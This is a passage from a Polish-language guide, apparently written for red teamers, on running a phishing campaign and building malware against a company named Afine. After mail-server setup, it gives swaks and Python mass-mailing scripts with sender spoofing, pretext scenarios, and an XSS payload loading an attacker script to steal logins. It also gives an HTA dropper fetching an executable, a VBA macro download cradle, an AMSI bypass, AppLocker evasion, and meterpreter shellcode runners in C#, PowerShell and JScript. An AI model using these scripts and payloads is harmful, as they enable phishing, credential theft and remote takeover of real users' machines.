Po zakończeniu procesu certyfikaty zostaną zapisane w katalogu /etc/letsencrypt/live/.

Możesz dodać nowe certyfikaty do konfiguracji Postfix za pomocą poniższych dwóch poleceń. Zastąp <nazwa_domeny_serwera_pocztowego> odpowiednią nazwą swojej domeny serwera pocztowego.

sudo postconf -e 'smtpd_tls_cert_file = /etc/letsencrypt/live/<nazwa_domeny_serwera_pocztowego>/fullchain.pem'
sudo postconf -e 'smtpd_tls_key_file = /etc/letsencrypt/live/nazwa_domeny_serwera_pocztowego>/privkey.pem'

Poniżej znajduje się przykład działającej konfiguracji Postfix (zmień domenę w linii 41):

# See /usr/share/postfix/main.cf.dist for a commented, more complete version


# Debian specific:  Specifying a file name will cause the first
# line of that file to be used as the name. The Debian default
# is /etc/mailname.
#myorigin = /etc/mailname

smtpd_banner = $myhostname ESMTP $mail_name (Ubuntu)
biff = no

# appending .domain is the MUA's job.
append_dot_mydomain = no

# Uncomment the next line to generate "delayed mail" warnings
#delay_warning_time = 4h

readme_directory = no

# See http://www.postfix.org/COMPATIBILITY_README.html -- default to 2 on
# fresh installs.
compatibility_level = 2



# TLS parameters
smtpd_tls_cert_file=/etc/ssl/certs/ssl-cert-snakeoil.pem
smtpd_tls_key_file=/etc/ssl/private/ssl-cert-snakeoil.key
smtpd_tls_security_level=may

smtp_tls_CApath=/etc/ssl/certs
smtp_tls_security_level=may
smtp_tls_session_cache_database = btree:${data_directory}/smtp_scache


smtpd_relay_restrictions = permit_mynetworks permit_sasl_authenticated defer_unauth_destination
myhostname = YOUR_DOMAIN
alias_maps = hash:/etc/aliases
alias_database = hash:/etc/aliases
myorigin = /etc/mailname
mydestination = $myhostname, YOUR_DOMAIN, www.YOUR_DOMAIN, localhost.YOUR_DOMAIN, localhost
relayhost =
mynetworks = 127.0.0.0/8 [::ffff:127.0.0.0]/104 [::1]/128
mailbox_size_limit = 0
recipient_delimiter = +
inet_interfaces = all
inet_protocols = all
local_recipient_maps =

Zablokowany port 25

Nie martw się, jeśli kupiłeś VPS, który nie pozwala na wysyłanie wiadomości e-mail. Możesz skorzystać z usług firm trzecich, takich jak SendGrid lub Mailjet.

  • Przejdź do SendGrid.
  • Uruchom SMTP.

Przeprowadź konfigurację postfix -> sudo vi /etc/postfix/main.cf

smtp_sasl_auth_enable = yes
smtp_sasl_password_maps = hash:/etc/postfix/sasl_passwd
smtp_sasl_security_options = noanonymous
smtp_sasl_tls_security_options = noanonymous
smtp_tls_security_level = encrypt
header_size_limit = 4096000
relayhost = [smtp.sendgrid.net]:587
  • Zrestartuj Postfix
sudo service postfix restart
  • Stwórz plik z hasłem -> sudo vi /etc/postfix/sasl_passwd
[smtp.sendgrid.net]:587 apikey:YOUR_API_KEY
  • Następnie wpisz poniższe polecenia:
sudo chmod 600 /etc/postfix/sasl_passwd
sudo postmap /etc/postfix/sasl_passwd
sudo systemctl restart postfix

Poniżej znajduje się przykład pełnej konfiguracji, która działała (/etc/postfix/main.cf). Wprowadź zmianę domeny w liniach 37 i 41:

# See /usr/share/postfix/main.cf.dist for a commented, more complete version


# Debian specific:  Specifying a file name will cause the first
# line of that file to be used as the name. The Debian default
# is /etc/mailname.
#myorigin = /etc/mailname

smtpd_banner = $myhostname ESMTP $mail_name (Ubuntu)
biff = no

# appending .domain is the MUA's job.
append_dot_mydomain = no

# Uncomment the next line to generate "delayed mail" warnings
#delay_warning_time = 4h

readme_directory = no

# See http://www.postfix.org/COMPATIBILITY_README.html -- default to 3.6 on
# fresh installs.
compatibility_level = 2



# TLS parameters
smtpd_tls_cert_file=/etc/ssl/certs/ssl-cert-snakeoil.pem
smtpd_tls_key_file=/etc/ssl/private/ssl-cert-snakeoil.key
smtpd_tls_security_level=may

smtp_tls_CApath=/etc/ssl/certs
#smtp_tls_security_level=may
smtp_tls_session_cache_database = btree:${data_directory}/smtp_scache


smtpd_relay_restrictions = permit_mynetworks permit_sasl_authenticated defer_unauth_destination
myhostname = YOUR_DOMAIN_NAME
alias_maps = hash:/etc/aliases
alias_database = hash:/etc/aliases
myorigin = /etc/mailname
mydestination = $myhostname, YOUR_DOMAIN_NAME, localhost
smtp_sasl_auth_enable = yes
smtp_sasl_password_maps = hash:/etc/postfix/sasl_passwd
smtp_sasl_security_options = noanonymous
smtp_sasl_tls_security_options = noanonymous
smtp_tls_security_level = encrypt
header_size_limit = 4096000
relayhost = [smtp.sendgrid.net]:587
mynetworks = 127.0.0.0/8 [::ffff:127.0.0.0]/104 [::1]/128
mailbox_size_limit = 0
recipient_delimiter = +
inet_interfaces = all
inet_protocols = all
home_mailbox =

Jeszcze jedna rzecz, którą warto wspomnieć:

Dostarczanie phishingu

Krótka instrukcja SWAKS

Jak wysłać testowy email:

swaks -t [email protected] -f [email protected] -tls -s smtp.vps.com --header "Subject: test" --body "test"  

Jak wysłać HTML:

swaks --to [email protected] --from testk@TARGET --server TARGET --add-header "Content-Type: text/html" --body - < test.html >/dev/null

Wysyłanie droppera:

swaks --body 'Click me http://management-afine.com/file.hta' --add-header "Content-Type: text/html" --header
"Subject: Important" -t [email protected] -f [email protected] --servermanagement-afine.com

Masowe wysyłanie e-maili przy użyciu listy adresów:

for E in `cat /path/to/email/email_list.txt`
do
     swaks --to $E --server test-server.example.com --quit-after RCPT --hide-all
     [ $? -ne 0 ] && echo $E
done

Domain spoofing:

swaks -f 'TARGET@TARGET_DOMAIN' --to 'XYZ@DOMAIN'

Użycie treści w formacie HTML jako treści e-maila.

Ustawienie tematu e-maila.

--header 'Subject: THIS_IS_IMPORTANT_MESSAGE_OPEN_PLEASE_KEK'

Wysłanie e-maila do dwóch celów jednocześnie.

-t "TAGET_1@DOMAIN,TARGET_2@DOMAIN"

Spoofing DW:

-t 'TAGET_1@DOMAIN' --header "To: TAGET_1@DOMAIN, TARGET_2@DOMAIN, TARGET_3@DOMAIN"

Wysyłanie ŁAŃCUCHA – dwóch list słów równocześnie z treścią profilowaną <TARGET>.html dla każdego odbiorcy.

  • ATTACKER_1 => TARGET_1
  • ATTACKER_2 => TARGET_2 …
#!/bin/bash
while IFS= read -r sender && IFS= read -r receiver <&3
do
  swaks --header 'Subject: TEMAT' -f "$sender" -t "$receiver" --add-header "Content-Type: text/html" --body - < "$receiver.html" >/dev/null
  sleep 5
done < sender.txt 3<receiver.txt

Przykładowy plik sender.txt:

ATTACKER_1@DOMAIN
ATTACKER_3@DOMAIN
ATTACKER_4@DOMAIN
ATTACKER_5@DOMAIN

Przykładowy plik receiver.txt:

TARGET_1@DOMAIN
TARGET_2@DOMAIN
TARGET_3@DOMAIN
TARGET_4@DOMAIN

Wysyłanie spersonalizowanego pliku HTML z załącznikiem ZIP.

import smtplib
from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText
from email.mime.base import MIMEBase
from email import encoders
from time import sleep

# Read the list of recipients from the file
with open('emails.txt', 'r') as f:
    recipients = f.read().splitlines()

for recipient in recipients:
    sender = 'SENDER@DOMAIN'
    subject = 'Wyciek danych'
    msg = MIMEMultipart()
    msg['From'] = sender
    msg['Subject'] = subject
    with open(recipient+'.html', 'r') as f:
        body = f.read()
    # Add the HTML body to the email
    msg.attach(MIMEText(body, 'html'))

    # Add the attachment to the email
    with open(recipient+'/sample.zip', 'rb') as f:
        attachment = MIMEBase('application', 'zip', Name='attach.zip')
        attachment.set_payload(f.read())
        encoders.encode_base64(attachment)
        attachment.add_header('Content-Disposition', 'attachment', filename='attach.zip')
        msg.attach(attachment)

    smtp_obj = smtplib.SMTP('DOMAIN')
    msg['To'] = recipient
    smtp_obj.sendmail(sender, recipient, msg.as_string())
    smtp_obj.quit()
    sleep(5)

Phishing Pretexting

Wykorzystaj wiedzę uzyskaną z zebranych danych, aby stworzyć wiarygodny scenariusz. Ofiara musi mieć powód, aby przeczytać wiadomość do końca i uruchomić przesyłany przez Ciebie plik z złośliwym oprogramowaniem. Dobrym pomysłem jest użycie wielu kroków w ataku. Zwiększa to szanse powodzenia, jeśli najpierw wyślesz ogólne zapytanie, poczekasz na odpowiedź, a następnie prześlesz szkodliwy link w treści swojej odpowiedzi.

Poniżej znajdziesz kilka ogólnych scenariuszy, które możesz wykorzystać podczas kampanii phishingowej:

I. Informacja o wycieku danych – Atak na dział IT firmy Afine:
  • Treść wiadomości będzie informacją o wycieku danych pracowniczych. Dołączony zostanie załącznik sample.zip, który zawierać będzie dropper.
  • Dodatkowo, zamieścimy notatkę, że otrzymaliśmy te informacje od osoby odpowiedzialnej za ochronę danych w firmie.
  • Na końcu wiadomości poprosimy o potwierdzenie, czy to są prawidłowe dane pracowników oraz dodamy informację, że dane są zaszyfrowane, a hasło to XYZ.
  • Prosimy o umieszczenie osoby odpowiedzialnej za ochronę danych w firmie na DW (nie wysyłając do niej wiadomości) przy użyciu wcześniej wspomnianej techniki z załączaniem osób za pomocą swaks.
-t 'TAGET_1@DOMAIN' --header "To: TAGET_1@DOMAIN, TARGET_2@DOMAIN, TARGET_3@DOMAIN"

Oto przykładowy skrypt do automatyzacji wysyłania wiadomości email:

import smtplib
from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText
from email.mime.base import MIMEBase
from email import encoders
from time import sleep


# Read the list of recipients from the file
with open('emails.txt', 'r') as f:
    recipients = f.read().splitlines()

for recipient in recipients:
    sender = 'security@ATTACKER_COM'
    subject = 'Data leak'
    msg = MIMEMultipart()
    msg['From'] = sender
    msg['Subject'] = subject
    with open(recipient+'.html', 'r') as f:
        body = f.read()
    # Add the HTML body to the email
    msg.attach(MIMEText(body, 'html'))

    # Add the attachment to the email
    with open('/root/'+recipient+'/sample.zip', 'rb') as f:
        attachment = MIMEBase('application', 'zip', Name='attach.zip')
        attachment.set_payload(f.read())
        encoders.encode_base64(attachment)
        attachment.add_header('Content-Disposition', 'attachment', filename='attach.zip')
        msg.attach(attachment)

    smtp_obj = smtplib.SMTP('ATTACKER_COM')
    msg['To'] = recipient
    smtp_obj.sendmail(sender, recipient, msg.as_string())
    smtp_obj.quit()
    sleep(5)
II. Nowy portal do zarządzania – Atak na dział HR
  • Atak oparty na źle skonfigurowanym rekordzie DMARC oraz podatności na Reflected Cross-Site Scripting, znalezionej na:
https://afine.com?s="><script/src=https://management-afine.com/x.js /> 
  • W tym momencie wykorzystano XSS, który ładuje zewnętrzny skrypt zmieniający wygląd strony afine.com.
  • Skrypt uruchamia panel logowania podobny do tego na innej stronie internetowej Afine.
  • E-mail zostanie wysłany z konta głównego informatyka odpowiedzialnego za poprzedni portal, przy użyciu podrobionego adresu e-mail (email spoofing).
swaks --from [email protected] --to [email protected]

Jeśli użytkownik wypełni pola Nazwa użytkownika i Hasło, a następnie kliknie przycisk Zaloguj, jego dane uwierzytelniające zostaną wysłane do serwera internetowego pod kontrolą atakującego.

Oto przykładowy skrypt do automatyzacji wysyłania wiadomości e-mail:

#!/bin/bash
for target_email in $(cat emails.txt)
    do swaks --header 'Subject: New panel for communication with the HR department' -f [email protected] -t "$target_email" -s afine.com --add-header "Content-Type: text/html" --body - < "$target_email.html">/dev/null
    sleep 5
done
III. Podszywanie się pod inną firmę w celu nawiązania współpracy – Atak na dział sprzedaży firmy Afine
  • W tym ataku potrzebujemy domeny z nazwą firmy pod którą się podszywamy.
  • W treści wiadomości krótko opisujemy naszą firmę i dołączamy linki do wcześniej przygotowanych lub podszytych kont na portalach społecznościowych, reprezentujących tę firmę, za którą się podajemy.
  • Na końcu wiadomości dołączamy link kierujący do strony internetowej pod naszą kontrolą, gdzie szczegółowo opisujemy naszą ofertę usług i zachęcamy do współpracy.

Przykładowy skrypt:

#!/bin/bash
for target_email in $(cat emails.txt)
    do swaks --header 'Subject: Request for an offer - ATTACKER_COMPANY' -f sales@ATTACKER_COMPANY_COM -t "$target_email" -s ATTACKER_COMPANY_COM --add-header "Content-Type: text/html" --body - < "$target_email.html" >/dev/null
    sleep 5
done

Podsumowanie – dostarczanie phishingu

  • Przygotuj infrastrukturę co najmniej miesiąc przed atakiem. Starsze domeny mają mniejsze szanse na bycie uznane za spam.
  • Rozważ użycie innych certyfikatów TLS niż Letsencrypt. Usługi takie jak AWS Certificate Manager są mniej podejrzane. Możesz skorzystać z tego linku, aby poznać inne możliwości.
  • Nie używaj zbyt długich adresów URL ani podejrzanych parametrów takich jak ?attack= lub ?phishing=. To samo dotyczy plików, które wysyłasz ofierze – ważne są rodzaj, rozmiar i nazwa pliku.
  • Przed wysłaniem phishingowych wiadomości e-mail użyj Phishious, aby ocenić, czy twoja wiadomość zostanie oznaczona jako spam. Dowiedz się, jak korzystać z tego narzędzia, używając szybkiego przewodnika.
  • Dodatkowo, możesz skorzystać z narzędzia Mariusza Banacha, znanego również jako mgeeky, o nazwie decode-spam-headers.py, aby zrozumieć, dlaczego określona wiadomość e-mail trafiła do folderu SPAM. Aby go użyć, po prostu zapisz wiadomość e-mail w formacie EML lub TXT, wraz ze wszystkimi nagłówkami, a następnie użyj narzędzia do jej analizy.
python3 decode-spam-headers.py test.eml -f html -o report.html
  • Dla twojego szablonu HTML używanego do wysyłania e-maili phishingowych, powinieneś również skorzystać z innego narzędzia od mgeeky o nazwie phishing-HTML-linter.py, które pomoże zidentyfikować problemy z twoim kodem HTML, które mogą spowodować blokowanie wiadomości e-mail.
  • Wprowadź ograniczenie prędkości (throttling) podczas wysyłania e-maili. Powinny być one dostarczane maksymalnie jeden e-mail na godzinę.
  • Zacznij od celowania w coś innego niż dział IT. Jeśli ktoś zidentyfikuje atak, prawdopodobnie poinformuje resztę firmy, aby zwrócili uwagę na próby phishingowe, co zwiększa świadomość reszty i zmniejsza szanse na sukces.

II. Tworzenie złośliwego oprogramowania

W zależności od systemu operacyjnego ofiary, możesz użyć różnych narzędzi do ściągania złośliwego oprogramowania w różnych formatach. Na przykład, jeśli wybrałeś kanał komunikacji, taki jak Telegram, jako wektor ataku, powinieneś rozważyć użycie droppera dla systemów Android/iOS zamiast takiego, który wykorzystuje PowerShell.

To samo dotyczy typu złośliwego oprogramowania. Twój atak nie powiedzie się, jeśli wyślesz plik Process Executable (PE) na system Linux. Dlatego warto skupić się na działaniach wywiadowczych, ponieważ stanowią one 90% sukcesu, ale pozostaje jeszcze 10% związane z wykonaniem złośliwego oprogramowania.

Ważne jest, aby skłonić ofiarę do otwarcia dostarczonego pliku, ale najważniejsze jest, aby antywirus nie wykrył droppera jako złośliwy. Dlatego należy podjąć odpowiednie kroki w celu uniknięcia wykrycia przez oprogramowanie antywirusowe i innych zabezpieczeń.

Applocker

W środowisku korporacyjnym często spotkasz się z narzędziem AppLocker uruchomionym na systemach Windows ofiary.

AppLocker to funkcja zabezpieczeń w systemach operacyjnych Windows, która umożliwia administratorom tworzenie reguł opartych na różnych kryteriach, takich jak ścieżka pliku, wydawca, suma kontrolna pliku lub rozszerzenie pliku. Reguły te określają, czy dana aplikacja lub plik jest dozwolony do uruchomienia, i mogą być stosowane na pojedynczych komputerach lub w całej domenie sieciowej.

Istnieje wiele sposobów na obejście AppLocker. Technika obejścia zależy od konfiguracji reguł AppLocker. Poniżej znajduje się lista najczęściej stosowanych bypassów:

  • Microsoftowe pliki binarne są dozwolone -> LOLBAS
  • Pliki wykonywalne w katalogu Windows są zazwyczaj dozwolone.
  • Możesz je wrzucić do poniższych katalogów:
C:\Windows\Tasks 
C:\Windows\Temp 
C:\windows\tracing
C:\Windows\Registration\CRMLog
C:\Windows\System32\FxsTmp
C:\Windows\System32\com\dmp
C:\Windows\System32\Microsoft\Crypto\RSA\MachineKeys
C:\Windows\System32\spool\PRINTERS
C:\Windows\System32\spool\SERVERS
C:\Windows\System32\spool\drivers\color
C:\Windows\System32\Tasks\Microsoft\Windows\SyncCenter
C:\Windows\System32\Tasks_Migrated (after peforming a version upgrade of Windows 10)
C:\Windows\SysWOW64\FxsTmp
C:\Windows\SysWOW64\com\dmp
C:\Windows\SysWOW64\Tasks\Microsoft\Windows\SyncCenter
C:\Windows\SysWOW64\Tasks\Microsoft\Windows\PLA\System
  • Brak zapisywalnych podkatalogów, ale w katalogu istnieją zapisywalne pliki -> zapisz swój plik do alternatywnego strumienia danych.
  • Dozwolone jest użycie poniższych narzędzi:
    – Python
    – JScript w HTA
    – Włączenie plików XSL z wmic
  • Reguły AppLocker nie są egzekwowane dla konta lokalnego administratora -> podnieś swoje uprawnienia.

Więcej możesz dowiedzieć się tutaj.

Tryb Ograniczonego Języka

Innym zabezpieczeniem systemu Windows jest Tryb Ograniczonego Języka (CLM). W trybie ograniczonym pewne elementy języka i polecenia są wyłączone, aby zapobiec potencjalnym podatnościom bezpieczeństwa. Na przykład dostęp do systemu plików, rejestru i zasobów sieciowych może być ograniczony. Dodatkowo, możliwość wykonywania dowolnych poleceń lub wczytywania zewnętrznych zestawów może być ograniczona.

Standardowym sposobem obejścia tego jest budowanie pliku wykonywalnego, który uruchamia sesję PowerShell w trybie pełnego języka, nawet gdy jest włączony Tryb Ograniczonego Języka (CLM). Więcej informacji na temat CLM oraz projektu Visual Studio do jego obejścia znajdziesz tutaj.

Czym jest Dropper?

Jest to rodzaj złośliwego oprogramowania odpowiedzialnego za dostarczanie i instalowanie szkodliwych plików na systemie ofiary. Zazwyczaj działa jako nośnik lub mechanizm dostarczania szkodliwego kodu.

Dropper został zaprojektowany w taki sposób, aby uniknąć wykrycia i często wykorzystuje różne techniki obfuskacji, aby ominąć środki bezpieczeństwa. Gdy dropper pomyślnie dostanie się do systemu, wykonuje zapisane instrukcje, w tym różne szkodliwe działania, takie jak pobieranie dodatkowego oprogramowania złośliwego, ustanawianie trwałości lub uruchamianie innych form ataku.

Windows Dropper

Biorąc pod uwagę, że w dziale sprzedaży firmy Afine mogą być stosowane domyślne zasady, stworzymy dropper HTA, który pobierze plik wykonywalny złośliwego oprogramowania do katalogu C:\Windows\Tasks\ , gdzie zostanie następnie uruchomiony, aby uruchomić drugi etap ataku, który zapewni nam połączenie zwrotne (reverse shell).

Ten katalog nie został przypadkowo wybrany. Domyślnie system operacyjny Windows pozwala na zapisywanie plików w tym miejscu i uruchamianie ich stamtąd.

Poniżej znajduje się kod droppera.

<html>
<head>
<script language="JScript">
var shell = new ActiveXObject("WScript.Shell");
var res = shell.Run("powershell iwr -uri 'https://management-afine.com/setup.exe' -Outfile C:\\Windows\\Tasks\\HOLLOW.exe;C:\\Windows\\Tasks\\setup.exe");
</script>
</head>
<body>
<script language="JScript">
self.close();
</script>
</body>
</html>

Sprawdzenie wykrywalności Droppera

Niestety, https://antiscan.me/ nie ma opcji skanowania plików .hta, ale możesz użyć innego akceptowanego formatu, aby tego uniknąć. To z pewnością nie będzie to tak precyzyjne jak przy poprawnym formacie, ale zawsze warto sprawdzić, zwłaszcza jeśli chodzi o pliki binarne ELF.

Poniższy zrzut ekranu pokazuje, że Microsoft Defender nie wykrywa naszego droppera:

Z pewnością wypadałoby ulepszyć nasz dropper, ale główny cel, czyli Windows Defender pozwala nam na użycie tego co już mamy.

Jedną istotną rzeczą, o której warto wspomnieć, jest to, że nie należy korzystać z VirusTotal, ponieważ aktualizuje ono bazy danych antywirusowych, co może uniemożliwić udany atak. Niemniej jednak, jako, że ten dropper nie posłuży nam do faktycznego ataku – jestem ciekaw, czy platform.hta również nie zostałby wykryty przez VirusTotal:

Wybrałem plik HTA, ponieważ na domyślnym systemie Windows, podwójne kliknięcie pliku z rozszerzeniem „.hta” powoduje uruchomienie pliku przy użyciu programu Windows HTML Application Host (mshta.exe).

HTA oznacza Aplikację HTML (HTML Application), to format pliku, który pozwala tworzyć aplikacje za pomocą HTML, CSS i JavaScript. Pliki HTA są przeznaczone do działania na systemach Windows i umożliwiają tworzenie interfejsów użytkownika oraz wykonywanie różnych zadań za pomocą technologii internetowych.

Co zrzucać? – Shellcode runner

Shellcode Runner jest odpowiedzialny za wykonanie shellcode’u na atakowanym systemie. Zapewnia odpowiednie środowisko i kontekst dla shellcode, aby mógł działać i realizować swoje złośliwe działania.

W poniższym przykładzie użyłem pliku HTA jako droppera, gdzie pobrany i uruchomiony setup.exe to Shellcode Runner.

Zawartość Shellcode Runnera zależy od poniższych elementów:

  • System operacyjny – musi być kompatybilny z systemem operacyjnym ofiary, takim jak Windows, Linux, iOS itp.
  • Architektura – musi być kompatybilny z architekturą systemu docelowego, taką jak x86, x64, ARM itp.
  • Technika wstrzykiwania – w zależności od użytej techniki wstrzykiwania, Shellcode Runner może zawierać dodatkową zawartość specyficzną dla tej techniki. Na przykład, jeśli używane jest process hollowing, Shellcode Runner musi zawierać odpowiedni kod do tworzenia i manipulowania docelowym procesem.
  • Techniki Anti-Detection – może zawierać techniki pozwalające ominąć lub wyłączyć oprogramowanie antywirusowe lub systemy wykrywania włamań. Może to obejmować modyfikację ustawień systemu, wyłączanie usług zabezpieczeń lub wykorzystanie innych technik, aby ukryć się wśród legalnych procesów i uniknąć wykrycia.

Przykładowe moduły uruchamiające powłokę:

Prosty EXE

Może być użyty z pomocą pliku HTA.

Generator:

msfvenom -p windows/x64/meterpreter/reverse_https LHOST=$ip LPORT=443 -f csharp

Listener:

sudo msfconsole -x "use exploit/multi/handler;set payload windows/x64/meterpreter/reverse_https;set LHOST $ip;set LPORT 443; set exitfunc thread;run;"

Runner (ZMIEŃ KOD W 23 LINIJCE):

using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Diagnostics;
using System.Runtime.InteropServices;
namespace ConsoleApp1
{
    class Program
    {
        [DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
        static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);

        [DllImport("kernel32.dll")]
        static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize,IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);

        [DllImport("kernel32.dll")]
        static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds);

        static void Main(string[] args)
        {
            byte[] buf = new byte[630] { SHELLCODE_PLACEHOLDER };
            int size = buf.Length;
            IntPtr addr = VirtualAlloc(IntPtr.Zero, 0x1000, 0x3000, 0x40);
            Marshal.Copy(buf, 0, addr, size);
            IntPtr hThread = CreateThread(IntPtr.Zero, 0, addr, IntPtr.Zero, 0, IntPtr.Zero);
            WaitForSingleObject(hThread, 0xFFFFFFFF);
        }
    }
}

PORADA – Powyższy EXE Shellcode Runner może zostać dostarczony za pomocą PowerShell do wykonania w pamięci:

$data = (New-Object System.Net.WebClient).DownloadData('http://$ip/shell.exe')
$assem = [System.Reflection.Assembly]::Load($data)
[rev.Program]::Main()

PowerShell z użyciem reflection

Może być używany na przykład w skrypcie makr VBA do rozpowszechniania szkodliwego oprogramowania.

Dropper (Aby pokazać łatwy przykład – nie jest obfuscowany, więc łatwo go wykryć dla programu antywirusowego. Więcej o technikach obfuscacji i unikaniu wykrycia VBA Purge technique to obfuscate it):

Sub MyMacro()
    Dim str As String
    str = "powershell (New-Object System.Net.WebClient).DownloadString('http://$ip/crimson.txt') | IEX"
    Shell str, vbHide
End Sub

Sub Document_Open()
    MyMacro
End Sub

Sub AutoOpen()
    MyMacro
End Sub

Zawartość crimson.txt – PS pobierani:

(New-Object System.Net.WebClient).DownloadString('http://YOUR_IP_ADDRESS/amsi_bypass.txt') | IEX
(New-Object System.Net.WebClient).DownloadString('http://YOUR_IP_ADDRESS/shellcode_runner.txt') | IEX

Zawartość amsi_bypass.txt:

$a = [Ref].Assembly.GetTypes()
ForEach($b in $a) {if ($b.Name -like '*iUtils') {$c = $b}}
$d = $c.GetFields('NonPublic,Static')
ForEach($e in $d) {if ($e.Name -like '*Failed') {$f = $e}}
$f.SetValue($null,$true)

Generator:

msfvenom -p windows/meterpreter/reverse_https LHOST=$ip LPORT=443 EXITFUNC=thread -f ps1 -o shellcode.ps1

Listener:

sudo msfconsole -x "use exploit/multi/handler;set payload windows/x64/meterpreter/reverse_https;set LHOST $ip;set LPORT 443; set exitfunc thread;run;"

Runner (Zmień shell code w 23 linijce):

function LookupFunc {
 Param ($moduleName, $functionName)
 $assem = ([AppDomain]::CurrentDomain.GetAssemblies() | Where-Object { 
   $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') }).GetType('Microsoft.Win32.UnsafeNativeMethods')
  $tmp=@()
  $assem.GetMethods() | ForEach-Object {If($_.Name -eq "GetProcAddress") {$tmp+=$_}}
 return $tmp[0].Invoke($null, @(($assem.GetMethod('GetModuleHandle')).Invoke($null,
@($moduleName)), $functionName))
}

function getDelegateType {
 Param (
 [Parameter(Position = 0, Mandatory = $True)] [Type[]] $func,
 [Parameter(Position = 1)] [Type] $delType = [Void]
 )
 $type = [AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('ReflectedDelegate')),[System.Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('InMemoryModule', $false).DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass',[System.MulticastDelegate])
 $type.DefineConstructor('RTSpecialName, HideBySig, Public',[System.Reflection.CallingConventions]::Standard, $func).SetImplementationFlags('Runtime, Managed')
 $type.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $delType, $func).SetImplementationFlags('Runtime, Managed')
 return $type.CreateType()
}

$lpMem = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((LookupFunc kernel32.dll VirtualAlloc),(getDelegateType @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr]))).Invoke([IntPtr]::Zero, 0x1000, 0x3000, 0x40)

[Byte[]] $buf = SHELLCDOE_PLACEHOLDER

[System.Runtime.InteropServices.Marshal]::Copy($buf, 0, $lpMem, $buf.length)
$hThread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((LookupFunc kernel32.dll CreateThread), (getDelegateType @([IntPtr], [UInt32], [IntPtr], [IntPtr],[UInt32], [IntPtr]) ([IntPtr]))).Invoke([IntPtr]::Zero,0,$lpMem,[IntPtr]::Zero,0,[IntPtr]::Zero)
[System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((LookupFunc kernel32.dll WaitForSingleObject), (getDelegateType @([IntPtr], [Int32]) ([Int]))).Invoke($hThread, 0xFFFFFFFF)

TIP – Aby uruchomić x64 Shellcode z aplikacji x86 (na przykład MS Word), należy określić ścieżkę do binarnej wersji x64 programu PowerShell w folderze „Sysnative” (C:\Windows\Sysnative). Folder „Sysnative” jest niewidoczny w Eksploratorze plików systemu Windows, ponieważ Eksplorator plików systemu Windows to program 64-bitowy (gdy jest uruchamiany w systemie Windows 64-bitowym).

Jednak istnieje i można do niego uzyskać dostęp, jeśli korzystasz z aplikacji x86.

Więcej o tym przezytasz tutaj.

JScript

Działa, gdy dwukrotnie się go kliknie, ale musi być skompilowany pod architekturę bieżącego systemu operacyjnego.

Generator:

msfvenom -p windows/meterpreter/reverse_https LHOST=$ip LPORT=443 -f csharp -o shell.cs

Listener:

 sudo msfconsole -x "use exploit/multi/handler;set payload windows/x64/meterpreter/reverse_https;set LHOST $ip;set LPORT 443; set exitfunc thread;run;"

Runner:

using System;
using System.Runtime.InteropServices; [ComVisible(true)]
public class TestClass
{
[DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
[DllImport("kernel32.dll")]
static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId); [DllImport("kernel32.dll")]
static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds);
public TestClass()
{
byte[] buf = new byte[???] { SHELLCODE };
IntPtr addr = VirtualAlloc(IntPtr.Zero, 0x1000, 0x3000, 0x40); Marshal.Copy(buf, 0, addr, buf.Length);
IntPtr hThread = CreateThread(IntPtr.Zero, 0, addr, IntPtr.Zero, 0, IntPtr.Zero); WaitForSingleObject(hThread, 0xFFFFFFFF);
} }

Potrzebujesz tego narzędzia do tworzenia pliku JS z DLL. Po skompilowaniu, skopiuj ExampleAssembly.dll do folderu \DotNetToJScript\bin\x86\Release\ i uruchom:

.\DotNetToJScript.exe ExampleAssembly.dll --lang=Jscript --ver=v4 -o runner.js

Możesz również użyć obfuskacji JavaScript, aby utrudnić wykrycie. Na przykład, możesz skorzystać z tego narzędzia do obfuskacji online.

Process Hollowing

Opis

W naszym obecnym scenariuszu użyjemy EXE Shellcode Runner z wykorzystaniem techniki zwanej Process Hollowing.

Process hollowing to technika pozwalająca na wykonanie złośliwego kodu poprzez utworzenie nowego procesu i zastąpienie jego legalnej zawartości złośliwym kodem.

Jest to forma wstrzykiwania kodu, która umożliwia atakującemu uruchomienie swojego kodu w kontekście legalnego procesu, co utrudnia wykrycie i śledzenie jego działalności.

Krótkie wyjaśnienie krok po kroku, jak działa technika Process Hollowing:

  1. Tworzony jest proces w stanie zawieszenia (np. svchost.exe).
  2. Obraz procesu ofiary jest wyodrębniany z pamięci, a w jego miejsce wpisywany jest złośliwy kod binarny.
  3. Stan programu zostaje wznowiony, aby wykonać wstrzyknięty kod.

Więcej możesz dowiedzieć się z tego linku.

Przygotowanie shellcode runnera

Najpierw wygeneruj kod C# zaszyfrowany operacją XOR ze znakiem „w”:

msfvenom -p windows/x64/meterpreter/reverse_https LHOST=$ip LPORT=443 EXITFUNC=thread -f csharp --encrypt xor --encrypt-key w -o shell.cs

Następnie pobierz szablon HOLLOW.sln z mojego GitHuba, zamień shellcode na linii 89 i skompiluj go jako x64.

